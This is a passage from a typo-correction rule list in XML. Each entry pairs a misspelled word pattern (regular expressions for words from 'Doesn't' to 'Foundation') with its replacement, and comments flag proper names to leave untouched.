<Typo word="Doesn't" find="\b([dD])o(?:ens|se?n)[´ˈ׳᾿‘’′Ꞌꞌ`;']?t\b(?<!Wilma Doesnt)" replace="$1oesn't"/><!--avoid Wilma Doesnt-->
<Typo word="Doing" find="\b([dD])o(?:i(?:gn|mg|nd)|nig)\b" replace="$1oing"/>
<Typo word="Dollar" find="\b([dD])oller(s)?\b(?<!Mikhail Doller)" replace="$1ollar$2"/><!--avoid [[Mikhail Doller]]-->
<Typo word="Don't" find="\b([dD])ont\b[´ˈ׳᾿‘’′Ꞌꞌ`']?(?!\s+(?:des?|elles?|ils?|l[ae]s?|une?)\b)(?!a\s+Hightower|'a\s+Hightower)" replace="$1on't"/><!--avoid Dont'a Hightower-->
<!--avoid correct French via lookahead-->
<Typo word="Double" find="\b([dD])oulbe([ds])?\b" replace="$1ouble$2"/>
<Typo word="Dramatic" find="\b([dD])ramtic(ally|s?)\b" replace="$1ramatic$2"/>
<Typo word="Draughtsman" find="\b([dD])ra(f|ugh)t(m[ae]n[a-z]*|person|wom[ae]n)\b" replace="$1ra$2ts$3"/>
<Typo word="Dravidian" find="\b([dD])ravadian\b" replace="$1ravidian"/>
<Typo word="Dream" find="(?!\bDeram\b)\b([dD])eram(ers?|ing|s?)\b" replace="$1ream$2"/><!--avoid Deram (Records)-->
<Typo word="Dreams" find="\b([dD])(?:erams|reasm)\b" replace="$1reams"/>
<Typo word="Drink" find="\b([dD])rnik(ers?|ing|s?)\b" replace="$1rink$2"/>
<Typo word="Drummer" find="\b([dD])rum(ers?|ing)\b" replace="$1rumm$2"/>
<Typo word="Dumbbell" find="\b([dD])umbell(s)?\b" replace="$1umbbell$2"/>
<Typo word="Duplicate" find="\b([dD])upil?cat([a-z]+)\b" replace="$1uplicat$2"/>
<Typo word="du Pré" find="\b(Hil+ary|Iris|Jacqueline)\s+[dD]u\s*[pP]r(?:éeé?|e(?:é?|èe?)|èe?)\b" replace="$1 du Pré"/>
<Typo word="During" find="\b([dD])u(?:in|r(?:i|rin)|tin)g\b(?<!(?:\p{Lu}[\p{Ll}+|\.])\s+Durig)" replace="$1uring"/><!--avoid surname Durig-->
<Typo word="Durrës" find="\bDurres\b" replace="Durrës"/>
<Typo word="(D/L/T)ying" find="\b([dltDLT])ieing\b" replace="$1ying"/>
</source>
===E===
<source lang="xml">
<Typo word="(En/De)cipher" find="\b([dD]e|[eE]n)cypher(s)?\b" replace="$1cipher$2"/>
<Typo word="(Endo/Mega/Mono)liths" find="\b([eE]ndo|[mM](?:ega|ono))lithes\b" replace="$1liths"/>
<Typo word="(Ex/In/Pro)hibition" find="\b([eE]x|[iI]n|[pP]ro)(?:hib|ibi)tion(is[mt]s?|s?)\b" replace="$1hibition$2"/>
<Typo word="Each other" find="\b([eE])achother\b" replace="$1ach other"/>
<Typo word="Each" find="\b([eE])ahc\b" replace="$1ach"/>
<Typo word="Earlier" find="\b([eE])a(?:li|r(?:i|ly?))e(r|st)\b(?<!Earler)" replace="$1arlie$2"/>
<Typo word="Early" find="(?!\bEraly\b)\b([eE])(?:alr|earl|ral)(ie(?:r|st)|y)\b" replace="$1arl$2"/>
<Typo word="(L/Y)Earning" find="\b([eE]|[lL]e|[rR]ele|[uU]nle|[yY]e)arnign(s)?\b" replace="$1arning$2"/>
<Typo word="Ecc-" find="\b([eE])c(entric[a-z]*|lesiast[a-z]*)\b" replace="$1cc$2"/>
<Typo word="écla(t/ir)" find="\becla(irs?|t)\b" replace="écla$1"/>
<Typo word="Eclectic" find="\b([eE])(?:cc|g)lectic(ally|ism|s?)\b" replace="$1clectic$2"/>
<Typo word="Eclipse" find="\b([eE])clisps?(e[ds]?|ing)\b" replace="$1clips$2"/>
<Typo word="(Un)Economic" find="\b([eE]|[uU]ne)comonic(al(?:ly)?|s?)\b" replace="$1conomic$2"/>
<Typo word="Economy" find="\b([eE])c[ce]onom([a-z]+)\b" replace="$1conom$2"/>
<Typo word="Ecstasy" find="\b([eE])sctasy\b" replace="$1cstasy"/>
<Typo word="Edit" find="\b([eE])ditt(ed|ing|or(?:ials?|s?))\b" replace="$1dit$2"/>
<Typo word="Education" find="\b([eE])duac?t(e[ds]?|ing|ion(?:al(?:ly)?)?|ors?)\b" replace="$1ducat$2"/>
<Typo word="* Education" find="\b([eE])duction\b(?<=(?:[bB]oards?\s{1,9}of|[cC]o(?:llege|mmunity)|[dD]epartment\s{1,9}of|[eE](?:arly|lementary)|[fF](?:ormal|urther)|[hH]igher|[mM]inist(?:ers?|ry)\s{1,9}(?:for|of)|[pP](?:hysical|rimary)|[sS](?:e(?:condary|x)|chools?\s{1,9}of|pecial)|[tT]ertiary)\s{1,9}[eE]duction)\b" replace="$1ducation"/><!--avoid eduction-->
<Typo disabled="Eels" find="\b([eE])les\b" replace="$1els"/>
<Typo word="(In)Efficient" find="\b([eE]|[iI]ne)ff(?:eci?|ic)en([a-z]+)\b" replace="$1fficien$2"/>
<Typo word="Eighteen" find="\b([eE])ight-?teen(s?|ths?)\b" replace="$1ighteen$2"/>
<Typo word="Eighth" find="\b([eE])igth\b" replace="$1ighth"/>
<Typo word="Eighty" find="\b([eE])igt?h(ies|y)\b" replace="$1ight$2"/>
<Typo word="Either" find="\b([eE])iter\b" replace="$1ither"/>
<Typo word="(S)Elect" find="\b([eE]|[sS]e)llect([a-z]*)\b" replace="$1lect$2"/>
<Typo word="Electric" find="\b([eE])let+ric([a-z]*)\b" replace="$1lectric$2"/>
<Typo word="Electricity" find="\b([eE])le(?:ctric|trici)(ans?|ty)\b" replace="$1lectrici$2"/>
<Typo word="Elemental" find="\b([eE])limenta(l|ry)\b" replace="$1lementa$2"/>
<Typo word="Elephant" find="\b([eE])lphant(s)?\b" replace="$1lephant$2"/>
<Typo word="Eleventh" find="\b([eE])levn?eth\b" replace="$1leventh"/>
<Typo word="(In)Eligible" find="\b([eE]|[iI]ne)l(?:egi|iga?|lig[ai])b(ility|le)\b" replace="$1ligib$2"/>
<Typo word="Eliminate" find="\b([eE])l(?:emin|imi)at(e[ds]?|i(?:ng|ons?))\b" replace="$1liminat$2"/>
<Typo word="Else(where)" find="\b([eE])sle(where)?\b" replace="$1lse$2"/>
<Typo word="Emanate" find="\b([eE])minat(ations?|e[ds]?)\b" replace="$1manat$2"/>
<Typo word="Embarrass" find="\b([eE])mbar(?:as|ra)s(e[ds]|ing(?:ly)?|ments?)?(?!\s+River\b)\b" replace="$1mbarrass$2"/><!--avoid Embarras River-->
<Typo word="Embarrassment" find="\b([eE])mbar(?:[ai]s?|ra)se?(ed|ing|ments?)\b" replace="$1mbarrass$2"/>
<Typo word="Embezzle" find="\b([eE])mbezz?ell(e[drs]?|ing|ment)\b" replace="$1mbezzl$2"/>
<Typo word="Emblematic" find="\b([eE])mblamatic(ally)?\b" replace="$1mblematic$2"/>
<Typo word="Émigré" find="\bEmigr[éè](es?|s?)\b" replace="Émigré$1"/>
<Typo word="émigré" find="\bemigr[éè](es?|s?)\b" replace="émigré$1"/><!--avoid [[wikt:emigre]]-->
<Typo word="Émile Zola" find="\b[eéèE]mile\s+Zola\b" replace="Émile Zola"/>
<Typo word="(E/Pro/Im/Pree)minent" find="\b([eE]|[iI]m|[pP]r(?:ee|o))minan(c(?:es?|y)|t(?:ly)?)\b" replace="$1minen$2"/>
<Typo word="Emissary" find="\b([eE])m(?:is(?:ar?|s+ar)|mis(?:ar?|s+ar))r(ies|y)\b" replace="$1missar$2"/>
<Typo word="(E/O)mission" find="\b([eoEO])m(?:i[cst]|m(?:i[cst]+|m+i[cst]))ion(s)?\b" replace="$1mission$2"/>
<Typo word="(E/O)mitted" find="\b([eoEO])m(?:i|mit?)t(e[dr]|ing)\b" replace="$1mitt$2"/>
<Typo word="Emphasi(s/z)e" find="\b([eE])mphai([sz]e[ds]?)\b" replace="$1mphasi$2"/>
<Typo word="Emphasis" find="\b([eE])mph[as]is(ed?|ing)?\b" replace="$1mphasis$2"/>
<Typo word="Emperor" find="\b([eE])mp(?:ere|or[eo]|r[eo])r(s(?:hips?)?)?\b" replace="$1mperor$2"/>
<Typo word="Emphysema" find="\b([eE])mph[iy]s[iy]ma\b" replace="$1mphysema"/>
<Typo word="Empirical" find="\b([eE])mperic(al(?:ly)?|is[mt])\b" replace="$1mpiric$2"/>
<Typo word="(Un)Employ" find="\b([eE]|[uU]ne)mply(ab[a-z]*|e[der]?s?|ing|ment|s?)\b" replace="$1mploy$2"/>
<Typo word="Employ" find="\bImploy(e(?:d|rs?)|ing|ments?|s?)\b" replace="Employ$1"/>
<Typo word="employ" find="\bimploy(e(?:d|rs?)|ing|ments?|s?)\b" replace="employ$1"/>
<DisabledTypo word="Encyclopedia (1)" find="\b([eE])ncyl?c?l?opa?ea?di(as?|c)\b(?<![eE]ncyclopedi[ac]s?)" replace="$1ncyclopedi$2"/>
<Typo word="Encyclopedia (2)" find="\b([eE])nc(?:lyclop|y(?:c(?:lo|o(?:lp|pl?))|lc?op))(ae|[eæ])di(as?|c)\b" replace="$1ncyclop$2di$3"/>
<Typo word="Encyclopædia (Iranica|Metropolitana)" find="\bEncyclopa?edia\s+(Iranica|Metropolitana)\b" replace="Encyclopædia $1"/>
<Typo word="Encyclopaedia Judaica" find="\bEncyclop[eæ]?dia\s+Judaica\b" replace="Encyclopaedia Judaica"/>
<Typo word="Encyclopædia Britannica(1)" find="\b[eE]ncyclo?p(?:ae?|[eæ]?)dia\s+Brit(?:a(?:n(?:ic*|n+i(?:cc)?)|n+ic+)|t+a(?:n(?:ic*|n+i(?:cc)?)))a+\b" replace="Encyclopædia Britannica"/><!--correct "Britannica"-->
<Typo word="Encyclopædia Britannica(2)" find="\b[eE]ncycl(?:op(?:ae|e?)|pa?e)dia\s+[bB]rit+an+ic*a+\b" replace="Encyclopædia Britannica"/><!--correct "Encyclopædia"-->
<Typo word="Endeavo(u)r" find="\b([eE])ndevo(u)?r(ed|ing|s?)\b" replace="$1ndeavo$2r$3"/>
<Typo word="Ending" find="\b([eE])ndig\b" replace="$1nding"/>
<Typo word="(Arch)Enemy (1)" find="\b([aA]rche|[eE])(?:m[ei]|n(?:en|i))m(ies|y)\b" replace="$1nem$2"/><!--avoid "Archey"-->
<Typo word="(Arch)Enemy (2)" find="\b([aA]rche|[eE])nemie\b" replace="$1nemy"/>
<Typo word="Engineer" find="\b([eE])ng(?:e(?:ne)?|i(?:ene|n)|ne)er(ed|ing|s?)\b" replace="$1ngineer$2"/>
<Typo word="Enhancement" find="\b([eE])nchancement(s)?\b" replace="$1nhancement$2"/>
<Typo word="Enlightenment" find="\b([eE])n(?:glight(?:en?|n?)|lightn?)ment(s)?\b" replace="$1nlightenment$2"/>
<Typo word="Enmity" find="\b([eE])(?:mn|nem)ity\b" replace="$1nmity"/>
<Typo word="Ennoble" find="\b([eE])nobl(ed?|ing)\b" replace="$1nnobl$2"/>
<Typo word="Enormous" find="\b([eE])nourmous(ly)?\b" replace="$1normous$2"/>
<Typo word="Enough" find="\b([eE])nou(?:ght|pht?)\b" replace="$1nough"/>
<Typo word="Ensconced" find="\b([eE])nsconsed\b" replace="$1nsconced"/>
<Typo word="(Dis)Entangle" find="\b([dD]ise|[eE])ntagle([ds]?|ments?)\b" replace="$1ntangle$2"/>
<Typo word="Enthusiasm" find="\b([eE])nt(?:husia|usias)(ms?|t(?:ic\w?|s?))\b" replace="$1nthusias$2"/>
<Typo word="Entire" find="\b([eE])n(?:itr|tri)e([lt]y)?\b" replace="$1ntire$2"/>
<Typo word="Entire(l/t)y" find="\b([eE])ntie?ri?(ly|t(?:ies|y))" replace="$1ntire$2"/>
<Typo word="(Non)Entity" find="\b([eE]|[nN]one)ntitit(ies|y)\b" replace="$1ntit$2"/>
<Typo word="Entrepreneur (2)" find="\b([eE])nterpreneur([a-z]*)\b" replace="$1ntrepreneur$2"/>
<Typo word="Entrepreneur" find="\b([eE])ntrep(?:e(?:n(?:eu|ue?)|rneu)|renue?)r([a-z]*)\b" replace="$1ntrepreneur$2"/>
<Typo word="Entrusted" find="\bIntrust(ed|ing|s?)\b(?!\s+Super)" replace="Entrust$1"/><!--avoid Intrust Super Cup-->
<Typo word="entrusted" find="\bintrust(ed|ing|s?)\b" replace="entrust$1"/>
<Typo word="Envelop" find="\benvelope(s?\s+(?:h(?:er|im)|me|them|us))\b" replace="envelop$1"/>
<Typo word="Environment" find="\b([eE])nvi?(?:orn?|r(?:ion?|o))ment([a-z]+)\b" replace="$1nvironment$2"/>
<Typo word="Épée" find="\bEp[eéèê]e(s)?\b" replace="Épée$1"/>
<Typo word="épée" find="\bep[eéèê]e(s)?\b" replace="épée$1"/>
<Typo word="Episode" find="\b([eE])p(?:i(?:dsod|s(?:do|iod|oid|pod))|os[io]d|sis?od)(es?|ic(?:al(?:ly)?)?)\b" replace="$1pisod$2"/>
<Typo word="Eponymous" find="\b([eE])p(?:nymo|onym)us(ly)?\b" replace="$1ponymous$2"/>
<Typo word="Equator" find="\b([eE])quitorial(ly)?\b" replace="$1quatorial$2"/>
<Typo word="Equilibrium" find="\b([eE])quilibrum\b" replace="$1quilibrium"/>
<Typo word="(Non)Equilibrium" find="\b([eE]|[nN]one)quil(?:ib|libr?)(at(?:e[ds]?|ing)|i(?:a|ums?))\b" replace="$1quilibr$2"/>
<Typo word="Equipment" find="\b([eE])q(?:i(?:p?|up?)|u(?:ip?)?)(?:pi?)?(?<![eE]quip)ment\b" replace="$1quipment"/>
<Typo word="Equipped" find="\b([eE])qu(?:ip|p(?:[ip]|pi))(ed|ing)\b" replace="$1quipp$2"/>
<Typo word="Equivalen(ce/t)" find="\b([eE])qui(?:ale|le|v(?:[aei]la|[ei]le|lal[ae]))n(ces?|t(?:ly|s?))\b" replace="$1quivalen$2"/>
<Typo word="Eradicate" find="\b([eE])rradica([bnt][a-z]+)\b" replace="$1radica$2"/>
<Typo word="Erect" find="\b([eE])rrect(ed|i(?:ng|ons?)|ly|s?)\b" replace="$1rect$2"/>
<Typo word="Erratically" find="\b([eE])ratica?ly\b" replace="$1rratically"/>
<Typo word="Erroneous" find="\b([eE])r(?:oni?|roni?)ous(ly)?\b" replace="$1rroneous$2"/>
<Typo word="Erupt" find="\b([eE])rrupt(ed|i(?:ng|ons?)|s?)\b" replace="$1rupt$2"/>
<Typo word="Especially" find="\b([eE])(?:cspec(?:ail|ial)|spe(?:c(?:al?|ia)|sial?)|xpecial?)ly\b" replace="$1specially"/>
<Typo word="espresso" find="\bexpresso\b" replace="espresso"/><!--avoid [[!Expresso!]]-->
<Typo word="Essence" find="\b([eE])ssense(s)?\b" replace="$1ssence$2"/>
<Typo word="(Non/Quint)Essential" find="\b([eE]|[nN]one|[qQ]uinte)s(?:se(?:n(?:cia|t(?:ai|ua))|sita)|en[ct]ia)l([a-z]*)\b" replace="$1ssential$2"/>
<Typo word="Essentially" find="\b([eE])s+en[ct]iall?y(?<![eE]ssentially)\b" replace="$1ssentially"/>
<Typo word="Establishes" find="\b([eE])a?stabi?l?ish?(?<![eE]stablish)(e[ds]?|ing|ments?)?\b" replace="$1stablish$2"/>
<Typo word="Estimate" find="\b([eE])sitmat(e[ds]?|i(?:ng|ons?))\b" replace="$1stimat$2"/>
<Typo word="Ethnic" find="\b([eE])(?:nthn?i|t(?:hin|ni))c(ally|it(?:ies|y))?\b" replace="$1thnic$2"/><!--avoid Ethenic-->
<Typo word="European" find="\b[eE]ur(?:op(?:eo|ia)|po?ea)n(i[sz](?:ation|e[ds]?)|s?)\b" replace="European$1"/>
<Typo word="A European" find="\b([aA])n [eE]ur(?:op(?:eo|ia)|po?ea)n(i[sz](?:ation|e[ds]?)|s?)\b" replace="$1 European$2"/>
<Typo word="Evaluate" find="\b([eE])val[au]t(e[ds]?|i(?:ng|on|ve)|ors?)\b" replace="$1valuat$2"/>
<Typo word="Eventual" find="\b([eE])ven(?:htu|ti?)al(it(?:ies|y)|ly)?\b" replace="$1ventual$2"/>
<Typo word="Every" find="\b([eE])veyr\b" replace="$1very"/>
<Typo word="Every-" find="\b([eE])vey?r(body|one|thing|where)\b" replace="$1very$2"/>
<Typo word="Evidently" find="\b([eE])videntall?y\b" replace="$1vidently"/>
<Typo word="Evil" find="\b([eE])fel\b" replace="$1vil"/>
<Typo word="Evolution" find="\b([eE])nvolution([a-z]*)\b" replace="$1volution$2"/>
<Typo word="Exacerbate" find="\b([eE])xerbat(e[ds]?|i(?:ng|ons?))\b" replace="$1xacerbat$2"/>
<Typo word="(In)Exact" find="\b([eE]|[iI]ne)xcac?t(ly)?\b" replace="$1xact$2"/>
<Typo word="Exaggerate" find="\b([eE])xag(?:er?|ger)rat([a-z]+)\b" replace="$1xaggerat$2"/>
<Typo word="Exalted" find="\b([eE])xhalted\b" replace="$1xalted"/>
<Typo word="(Un)Examined" find="\b([eE]|[uU]ne)xaminated\b" replace="$1xamined"/>
<Typo word="Example" find="\b([eE])x(?:em|ma)ple(s)?\b" replace="$1xample$2"/>
<Typo word="Excavate" find="\b([eE])xacavat(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1xcavat$2"/>
<Typo word="Exceeded" find="\b([eE])xx?ced(ed|ing(?:ly)?)\b" replace="$1xceed$2"/>
<Typo word="Excel" find="\b(?!\bExcell\b)([eE])xcell(s)?\b" replace="$1xcel$2"/><!--avoid Excell-->
<Typo word="Excellent" find="\b([eE])x(?:cel[ae]|el(?:[ae]|l+a))n(c[ey]|t(?:ly)?)\b" replace="$1xcellen$2"/>
<Typo word="Except" find="\b([eE])xept(able|ed|i(?:ng|ve[a-z]*|on(?:a(?:bl[a-z]+|l[a-z]*)|less|s?))|s?)\b" replace="$1xcept$2"/>
<Typo word="Exchange" find="\b([eE])xc(?:ang|ha(?:gn|nch))(e[ds]?|ing)\b" replace="$1xchang$2"/>
<Typo word="Excitement" find="\b([eE])xcitment\b" replace="$1xcitement"/>
<Typo word="Exciting" find="\b([eE])xict(e[ds]|ing)\b" replace="$1xcit$2"/>
<Typo word="Execute" find="\b([eE])x(?:cecut|ectu?t?)(e[ds]?|i(?:ng|ons?|ves?))\b" replace="$1xecut$2"/>
<Typo word="Exempt" find="\b([eE])x(?:a|ce)mpt(ed|i(?:ng|ons?)|s?)\b" replace="$1xempt$2"/>
<Typo word="Exercise" find="\b([eE])x(?:cercis|e(?:cis|r(?:cies|si[sz])))(e[drs]?|ing)\b" replace="$1xercis$2"/>
<Typo word="Exerted" find="\b([eE])xtered\b" replace="$1xerted"/>
<Typo word="Exhaust" find="\b([eE])x(?:au|hua)st(ed|i(?:ng|on|ve[a-z]*)|s?)\b" replace="$1xhaust$2"/>
<Typo word="Exhibit" find="\b([eE])x[bhi]{2,5}t(?<!xhibit)(ed|i(?:ng|on(?:ists?|s?))|ors?|s?|ted)\b(?<!xbibits?)" replace="$1xhibit$2"/>
<Typo word="Exile" find="\b([eE])xlile([ds])?\b" replace="$1xile$2"/>
<Typo word="Exist" find="\b([eE])x(?:cis|isi|sis)t(e(?:d|nce)|ing|s?)\b" replace="$1xist$2"/>
<Typo word="(Non/Pre/Co)Existence" find="\b([cC]oe|[eE]|[nN]one|[pP]ree)xist[aei]nse\b" replace="$1xistence"/>
<Typo word="Exonerate" find="\b([eE])xonorate([ds])?\b" replace="$1xonerate$2"/>
<Typo word="Expand" find="\b([eE])xpan(able|ed|ing|s)\b" replace="$1xpand$2"/>
<Typo word="Expansion" find="\b([eE])xapansi(ons?|ve(?:ly)?)\b" replace="$1xpansi$2"/>
<Typo word="(Un)Expectant" find="\b([eE]|[uU]ne)xpectand(ly)?\b" replace="$1xpectant$2"/>
<Typo word="(Un)Expected" find="\b([eE]|[uU]ne)xpeced\b" replace="$1xpected"/>
<Typo word="Expedition" find="\b([eE])xpidition(ary|s?)\b" replace="$1xpedition$2"/>
<Typo word="(In)Experience" find="\b([eE]|[iI]ne)[sx]p(?:er(?:ei|ia)|iere)nc(e[ds]?|ing)\b" replace="$1xperienc$2"/>
<Typo word="Experience" find="\b([eE])(?:sp(?:erience?|rience)|xp(?:erienc|rience))([ds])?\b" replace="$1xperience$2"/>
<Typo word="Experiment" find="\b([eE])xpeiment(al(?:ist|ly)?|[eo]rs?|s?)\b" replace="$1xperiment$2"/>
<Typo word="Explain" find="\b([eE])xp(?:ali|la)n(ing|s?)\b" replace="$1xplain$2"/>
<Typo word="Explanation" find="\b([eE])xpla?inat(ions?|ory)\b" replace="$1xplanat$2"/>
<Typo word="(Ex/Im)plicitly" find="\b([eE]x|[iI]m)plic(?:il?t|tl)y\b" replace="$1plicitly"/>
<Typo word="Exploitation" find="\b([eE])xplo(?:iti|ta)ti(ons?|ve(?:ly)?)\b" replace="$1xploitati$2"/>
<Typo word="Express" find="\b([eE])xress(ed|i(?:ng|ons?|ve))?\b" replace="$1xpress$2"/>
<Typo word="Expropriate" find="\b([eE])xpropiat(e[ds]?|i(?:ng|ons?))\b" replace="$1xpropriat$2"/>
<Typo word="(Over)Extension" find="\b([eE]|[vO]vere)xtens?tion(s)?\b" replace="$1xtension$2"/>
<Typo word="External" find="\b([eE])x(?:ertern|t(?:e[nr]|rn))al(ly)?\b" replace="$1xternal$2"/>
<Typo word="Extinct" find="\b([eE])x(?:inct|tint)(ions?)?\b" replace="$1xtinct$2"/>
<Typo word="Extra- (no hyphen)" find="\b([eE])xtra-(judicial(?:ly)?|mu(?:ndane|rals?)|ordinar(?:ily|y)|p(?:osable|rovincial)|terr(?:estrials?|itorial(?:ity)?))\b" replace="$1xtra$2"/>
<Typo word="Extradition" find="\b([eE])xtradiciotn(s)?\b" replace="$1xtradition$2"/>
<Typo word="Extraordinary" find="\b([eE])xtr-?ordinar(il)?y\b" replace="$1xtraordinar$2y"/>
<Typo word="Extravagant" find="\b([eE])xtrav(?:an?ge|en?g[ae])n(ces?|t(?:ly)?)\b" replace="$1xtravagan$2"/>
<Typo word="Extremely" find="\b([eE])xt(?:eme|rem(?:em)?)le?y\b" replace="$1xtremely"/>
<Typo word="Extremist" find="\b([eE])xtermist(s)?\b" replace="$1xtremist$2"/>
<Typo word="Extremophile" find="\b([eE])xtremeophile(s)?\b" replace="$1xtremophile$2"/>
</source>
===F===
<source lang="xml">
<Typo word="Facilitate" find="\b([fF])acil(?:i(?:[ae]|te)|lita|t[ae])t(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1acilitat$2"/>
<Typo word="Factor_" find="\b([fF])acter(ed|i(?:es|ng|ze[ds]?)|[sy])\b" replace="$1actor$2"/><!--avoid "Facter" (software)-->
<Typo word="Fahrenheit" find="\b(?:fa(?:hr|rh?)|Farh?)enheit\b" replace="Fahrenheit"/>
<Typo word="(In)Fallible" find="\b([fF]|[iI]nf)al+ab(ility|le)\b" replace="$1allib$2"/>
<Typo word="(Un)Familiar" find="\b([fF]|[uU]nf)am(?:il(?:ai?|lia)|milia)(l|r(?:ity|ly)?)\b" replace="$1amilia$2"/>
<Typo word="Families" find="\b([fF])(?:amil(?:esl?|lies)|imilies)\b(?![^\s\.]*\.\w)" replace="$1amilies"/><!--avoid domains-->
<Typo word="(In)Famous" find="\b([fF]|[iI]nf)(?:am(?:eous|ous[et])|emous)(ly)?\b" replace="$1amous$2"/>
<Typo word="Fanaticism" find="\b([fF])anatism\b" replace="$1anaticism"/>
<Typo word="Fasci(nate/st)" find="\b([fF])aci(nat(?:e[ds]?|ing(?:ly)?)|s(?:m|t(?:ic|s?)))\b" replace="$1asci$2"/>
<Typo word="Fasciitis" find="\b([fF])ascitis\b" replace="$1asciitis"/>
<Typo word="favo(u)rite" find="\b([fF])avo(u)?(?:ite|rit)(s)?\b" replace="$1avo$2rite$3"/>
<Typo word="Feature" find="\b([fF])(?:aetur|ea(?:tu|ture|utu?re?))(e[ds]?|ing)\b" replace="$1eatur$2"/>
<Typo word="(Con/Non)Federal" find="\b([cC]onf|[fF]|[nN]onf)ed(?:ar|re)a(c(?:ies|y)|l(?:is[mt]s?|ly)?|t(?:e[ds]?|ions?))\b" replace="$1edera$2"/>
<Typo word="Feud" find="\b([fF])ued(al[a-z]*|ed|ing|s?)\b" replace="$1eud$2"/>
<Typo word="Fiancé" find="\b([fF])ianc[eè](e)?\b(?![^\s\.]*\.\w)" replace="$1iancé$2"/><!--avoid domains-->
<Typo word="Fictitious" find="\b([fF])ictious(ly)?\b" replace="$1ictitious$2"/>
<Typo word="Field_" find="\b([fF])eild(\b(?<!Feild)|able|e(?:d|rs?)|ing\b(?<!Feilding)|[sy])\b" replace="$1ield$2"/><!--avoid surnames Feild, Feilding-->
<Typo word="Fierce" find="\b([fF])eirce(ly|ness|r?|st)\b" replace="$1ierce$2"/>
<Typo word="Fiery" find="\bfire?y\b" replace="fiery"/>
<Typo word="Fifteen" find="\b([fF])i(?:f(?:et|th)?|t|ve?t)een(s?|ths?)\b" replace="$1ifteen$2"/>
<Typo word="Fight" find="\b([fF](?:iref)?)igt?h(ers?|ing|s?)\b" replace="$1ight$2"/>
<Typo word="Finally" find="\b([fF])i[an]n[al]l?y\b(?<!Finaly)" replace="$1inally"/><!--avoid surname Finaly-->
<Typo word="Find" find="\b([fF])idn\b" replace="$1ind"/>
<Typo word="Finite" find="\b([fF])i(?:anite|n(?:[ae]te|it))(ly|ness|s?)\b" replace="$1inite$2"/><!--see also "-finite" & "-finit(iv)e"; avoid "Finet"-->
<Typo word="First (1)" find="\b([fF])i(?:r(?:sr|ts)|srt)\b" replace="$1irst"/>
<Typo word="First (2)" find="\b([fF])rst(ly|s?)\b" replace="$1irst$2"/>
<Typo word="First (3)" find="\b([fF])r?ist\s*([−―–—\s])\s*(aid|b(?:ases?|orns?)|class|floors?|hand|l(?:ad(?:ies|y)|y)|p(?:ersons?|laces?)|r(?:ater?|ounds?)|s(?:ergeants?|trings?)|time|water|years?)\b" replace="$1irst$2$3"/>
<Typo word="First (3)" find="\b([fF])r?ist\s*([-\s])\s*(aid|b(?:ases?|orns?)|class|floors?|hand|l(?:ad(?:ies|y)|y)|p(?:ersons?|laces?)|r(?:ater?|ounds?)|s(?:ergeants?|trings?)|time|water|years?)\b" replace="$1irst$2$3"/>
<Typo word="Flamboyant" find="\b([fF])lamb[ou][ou]y[ae]n(ce|t(?:ly)?)\b" replace="$1lamboyan$2"/>
<Typo word="(In)Flammable" find="\b([fF]|inf)lamable\b" replace="$1lammable"/>
<Typo word="Fledge" find="\b([fF])leg(e(?:d|ing|ling)|ing|ling)\b" replace="$1ledg$2"/>
<Typo word="Flemish" find="\bflem+ish\b" replace="Flemish"/>
<Typo word="Flourish" find="\b([fF])lu?orish(e[ds]|ing)?\b" replace="$1lourish$2"/>
<Typo word="Fluoresce" find="\b([fF])l(?:ou?r[eo]sc?|r[eo]sc?|u(?:orosc?|r[eo]sc?))(e[ds]?|en(?:ce|t)s?\b(?<!lorescen(?:ces?|ts?))|ing)\b" replace="$1luoresc$2"/><!--avoid Florescent & Florescence-->
<Typo word="Fluorine" find="\b([dD]if|[fF]|[hH](?:exaf|ydrof)|[pP]entaf|[tT](?:etraf|rif))lour(o|esc(?:e[ds]?|en(?:ce|t)|ing)|i(?:c|des?|dat(?:e[ds]?|i(?:ng|on))|nes?))\b" replace="$1luor$2"/>
<Typo word="Foie gras" find="\b([fF])ois?[−―–—\s]+([gG])ras\b" replace="$1oie $2ras"/>
<Typo word="Follow" find="\b([fF])ol[lo]w(e(?:d|rs?)|ing|s?)\b" replace="$1ollow$2"/>
<Typo word="Fomalhaut" find="\b[fF]ormalhaut\b" replace="Fomalhaut"/>
<Typo word="Forbidden" find="\b([fF])orbid(en|ing)\b" replace="$1orbidd$2"/>
<Typo word="Foreign" find="\b([fF])or(?:eing|iegn)(ers?|isms?)?\b" replace="$1oreign$2"/>
<Typo word="Forerunner" find="\b([fF])or+unner(s)?\b" replace="$1orerunner$2"/>
<Typo word="Foreword" find="\b([fF])or(?:ewa|wo)rd\b" replace="$1oreword"/>
<Typo word="Forfeit" find="\b([fF])ore?fie?t+(e(?:d|rs?)|ing|s?|ures?)\b" replace="$1orfeit$2"/>
<Typo word="(Un)Forgettable" find="\b([fF]|[uU]nf)orget[ai]bl([ey])\b" replace="$1orgettabl$2"/>
<Typo word="Formalise" find="\b([fF])ormalli([sz]e[ds]?)\b" replace="$1ormali$2"/>
<Typo word="((D/M)is)In/De/Re/…)Formation" find="\b([cC]onf|[dD](?:ef|isinf)|[fF]|[iI]nf|[mM](?:alf|isinf)|[pP][dr]ef|[rR]ef|[tT]ransf)o(?:m+ati|rm(?:at|ti))(on|ve(?:ly)?)\b" replace="$1ormati$2"/>
<Typo word="Formed" find="\b([fF])r?omed\b" replace="$1ormed"/>
<Typo word="Formerly" find="\b([fF])o(?:mer|rm(?:e(?:l?|rl))?)le?y\b" replace="$1ormerly"/>
<Typo word="(Mis/Un)Fortunate" find="\b([fF]|[mM]isf|[uU]nf)or(?:etun[ai]te|tu(?:ante|n(?:[ae]t|ite?)))(ly|ness|s?)\b(?<!Fortunat)" replace="$1ortunate$2"/><!--avoid surname Fortunat-->
<Typo word="(Mis/Un)Fortunately" find="\b([fF]|[mM]isf|[uU]nf)ortunetle?y\b" replace="$1ortunately"/>
<Typo word="(Mis/Un)Fortune" find="\b([fF]|[mM]isf|[uU]nf)ourtun([a-z]+)\b(?<!Fourtune)" replace="$1ortun$2"/><!--avoid the wrestling team previously known as [[!Fourtune!]] -->
<Typo word="Forty" find="\b([fF])ourt(ie(?:s|ths?)|y)\b" replace="$1ort$2"/>
<Typo word="Forward" find="\b([fF])o(?:rw|wa)rd(e(?:d|rs?)|ing|s?)\b" replace="$1orward$2"/>
<Typo word="Foundation" find="\b([fF])o(?:nd|ud?n)ation(al(?:ly)?|less|s?)\b(?<!Fondation)" replace="$1oundation$2"/><!--avoid Fondation, french-->
